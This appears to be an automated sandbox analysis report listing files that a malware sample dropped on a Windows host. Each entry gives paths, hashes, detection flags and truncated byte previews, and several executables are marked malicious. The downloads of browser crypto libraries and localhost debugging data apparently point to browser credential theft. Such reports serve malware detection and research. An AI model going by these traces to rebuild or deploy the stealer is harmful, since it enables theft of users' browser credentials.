C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9966156332489726
Encrypted:	false
SSDEEP:	96:PKYsmT8rbgXqrMS/lGkBACyGSbYD6ZvzQZOX:SzmT82wT1TyFbYOVQZOX
MD5:	5FBEEA6A095D0B65FE81636638ADF6F3
SHA1:	5D6508E30ABA2CD3E9AFBE0F7921A23739D6AC5E
SHA-256:	940143409597F8CCDFF2803EB1DCFC920B37FE0A60607060B32799DEA170F4A9
SHA-512:	925CC670828137A8611858D0EFBA71CD85F7428E7E5473D764F2374602D7E35B3CFF549003CDBD64F91FCED4BDD5485519ED8BCA21D91398679686CCE0003F41
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".p.8.o.l.R.l.k.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.v.0.E.v.A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9051746870237025
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xbjxl9Il8umGimryCXMK4JX13s5Le+C9AYc1+d/vc:aRY4RCXOX13s5LRC9AYO
MD5:	49CA9D4E91F430A545D9728AC9B85350
SHA1:	8DC11593553D2F0349899E027D8B518F685A3450
SHA-256:	908542C5422AD78B34832CA6B8248E18653E2D3D4CE59F71F049DABA69A75F5F
SHA-512:	F28E9A1DA80538324AD7DF2488148FC17D8C0F971F0C099413F9BCA3527EA4F2D13BF76FEA61135A5A9DD49A55C8DB2D202ADD585390108E3A9FED6B26DB3A7B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".c.9.m.t.d.i.p.b.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.v.0.E.v.A.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	2686976
Entropy (8bit):	7.987972520312452
Encrypted:	false
SSDEEP:	49152:rgvFBYtUfqO+k6+4MqG+OLupmLM84MTUfjP1RDRSnsGqOfuxLurhdBpkd3a:0Fjad1G+OLu0LP2vD2NuxY2dq
MD5:	892BD8A1935A15CCD89A315DA91DA8B3
SHA1:	C763A8F84535B1D2B78975AD1CB2152559D42BB5
SHA-256:	4EBDBDC59800CD1AD0B1A8155D0D38CB6B81079AA846EC7566DD6A9BD308623D
SHA-512:	175082563E6B4E88A7DE79B542A9B81A9E91C71774471F2F6CE266CF51EBDD2E1F52AC53E83A94245F970DD57547290615FCAC5F3DAE49BA06680DB2F661E182
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2... ........J...@..........................P........C...@... ............................._.q.s...........................0....................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .09...q.......'.............@...ngzqujxo.....@........'.............@...tkrbkghg.............\C.............@....taggant.0... ..."...`C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.404555762286558
Encrypted:	false
SSDEEP:	96:6NnQCHQXNnQAbQhNnQ5Le9Q5VNnQiMdgEQiuNnQMQJNnQLf4DQL7NnQktgAwQktz:6NINUNaNHMFuNGNhINdtgAYtzNjd
MD5:	D34E80CBEA687B454DC09E00613699F6
SHA1:	3F9649434C82175A754F7DBC90BD452F8FAB7127
SHA-256:	AD66E5EF94CF735B5F68E512A01389619E3D8D50DF11188A6242935675A1181D
SHA-512:	2C3E213A3B739D09D45ABD9E5013BFD694BB80C08E7DD3E5B3946F467181A4CED9AE6C198B1039864AF8D5AFD6C1AFFE4B199DEA90F0D659E3C8AA2DFCA32D88
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5BB0E612DB5E4014EF774176AD3F3A70",.. "id": "5BB0E612DB5E4014EF774176AD3F3A70",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5BB0E612DB5E4014EF774176AD3F3A70"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4E856C2B97385225AF5CEF7A17AF21B8",.. "id": "4E856C2B97385225AF5CEF7A17AF21B8",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4E856C2B97385225AF5CEF7A17AF21B8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\FunnyJellyfish[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1478320
Entropy (8bit):	7.944492885798259
Encrypted:	false
SSDEEP:	24576:AMjh1rsto5Qe38G0B/xwUBKXtqiPzeQmbDZPgWRqadRRn0dxD:z4zOZa/pBKXFLFm1gWRqadRRnqxD
MD5:	E1CF72329542DE8B3004517EE07D8371
SHA1:	C22AC1F279CC11DFFD30A41863181DA598231D4B
SHA-256:	301E56052CF570110E66A429C0ACC2454569FF5F966AF0E809BEF33EB2E02BAA
SHA-512:	7267AA2244EDD22B4CEDA89E8E188180BCC409320F77B0D9FC9FBB63C0906AB23DC9DFF4BD5E02018AA08194CB8BB8DCD0B28AE1C44B2497A13BB21411EC6EDC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...T..O.................P..........xd.......p....@..............................................@.................................................................................................................P...L............................text....C.......D.................. ..`.itext.......`.......H.............. ..`.data........p.......T..............@....bss....LW...........b...................idata...............b..............@....tls.................r...................rdata...............r..............@..@.rsrc...............t..............@..@.....................&..............@..@........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.375420287868312
Encrypted:	false
SSDEEP:	48:SfNaoQ1Z/ZHTEQ1ZxfNaoQQTFQQIfNaoQlQlfNaoQxMI0UrU0U8Qxk:6NnQ1Z/ZHTEQ1ZNNnQQTFQQUNnQlQRNS
MD5:	AE767C0BD208303A74756F0D1B7CFA33
SHA1:	CB743F565CF5CDE92EFA46A441347C57568D5AF0
SHA-256:	7CB14F1E9192F905AA6BCBDD3AAF11495C831B2BDDCB31336D37E57EDD6AB16B
SHA-512:	A31DDC6263786558B81191F621B89374C51122D3375B3B9E67E15330694181A0C3A9B290CA42ACD38F7B5D94C2B3E29D87A186664BE94C6651F68A6E6B97B455
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7597C5CC7F3E9AF7EED1DA0AC4A33652",.. "id": "7597C5CC7F3E9AF7EED1DA0AC4A33652",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7597C5CC7F3E9AF7EED1DA0AC4A33652"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/52250D6CAF90D1EC0BC55EE40B6EA409",.. "id": "52250D6CAF90D1EC0BC55EE40B6EA409",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/52250D6CAF90D1EC0BC55EE40B6EA409"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1927680
Entropy (8bit):	7.952173231018088
Encrypted:	false
SSDEEP:	49152:FWpKS5ThF8/65kDlsW+eN3hyN0T3VsPhGlhFr5:FWcSKUkDlsJ0q0lfr
MD5:	6AED281D1464E3A53839BBD9E7190535
SHA1:	8EA6E9EC2EB3970E0C361538FB6DBD074E5FA6C2
SHA-256:	A20ABE49E71912D860044FDF813C7FB90F32FDE51097DB4B689CAC9C8F7A9AC9
SHA-512:	3D3312DBC5D3537143F8EE75097E9DFA5A88C59B3D0079461A6878BA1AAFA232A131E8078DBF08D5E62BDD84F5833E900D4B8E0F37E80B3BBCAB996B725E5366
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L.....f.....@.................................W...k.......H....................[L.............................t[L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .`+.........................@...fjmpujlc.P....2..L..................@...jlhbczjq.....`L......D..............@....taggant.0...pL.."...H..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1478320
Entropy (8bit):	7.944492885798259
Encrypted:	false
SSDEEP:	24576:AMjh1rsto5Qe38G0B/xwUBKXtqiPzeQmbDZPgWRqadRRn0dxD:z4zOZa/pBKXFLFm1gWRqadRRnqxD
MD5:	E1CF72329542DE8B3004517EE07D8371
SHA1:	C22AC1F279CC11DFFD30A41863181DA598231D4B
SHA-256:	301E56052CF570110E66A429C0ACC2454569FF5F966AF0E809BEF33EB2E02BAA
SHA-512:	7267AA2244EDD22B4CEDA89E8E188180BCC409320F77B0D9FC9FBB63C0906AB23DC9DFF4BD5E02018AA08194CB8BB8DCD0B28AE1C44B2497A13BB21411EC6EDC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...T..O.................P..........xd.......p....@..............................................@.................................................................................................................P...L............................text....C.......D.................. ..`.itext.......`.......H.............. ..`.data........p.......T..............@....bss....LW...........b...................idata...............b..............@....tls.................r...................rdata...............r..............@..@.rsrc...............t..............@..@.....................&..............@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008024001\76ce55fba7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2686976
Entropy (8bit):	7.987972520312452
Encrypted:	false
SSDEEP:	49152:rgvFBYtUfqO+k6+4MqG+OLupmLM84MTUfjP1RDRSnsGqOfuxLurhdBpkd3a:0Fjad1G+OLu0LP2vD2NuxY2dq
MD5:	892BD8A1935A15CCD89A315DA91DA8B3
SHA1:	C763A8F84535B1D2B78975AD1CB2152559D42BB5
SHA-256:	4EBDBDC59800CD1AD0B1A8155D0D38CB6B81079AA846EC7566DD6A9BD308623D
SHA-512:	175082563E6B4E88A7DE79B542A9B81A9E91C71774471F2F6CE266CF51EBDD2E1F52AC53E83A94245F970DD57547290615FCAC5F3DAE49BA06680DB2F661E182
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2... ........J...@..........................P........C...@... ............................._.q.s...........................0....................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .09...q.......'.............@...ngzqujxo.....@........'.............@...tkrbkghg.............\C.............@....taggant.0... ..."...`C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3e46e1fe-9900-4773-b114-be1e46e73b94.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\4f5c78ae-ea3f-48c8-ab3c-6b94eb343007.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\5d94539a-781a-46f0-a66d-05ac494905d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\8bbc31bd-aa16-496f-806f-3b33c4c2d2f1.tmp

Download File

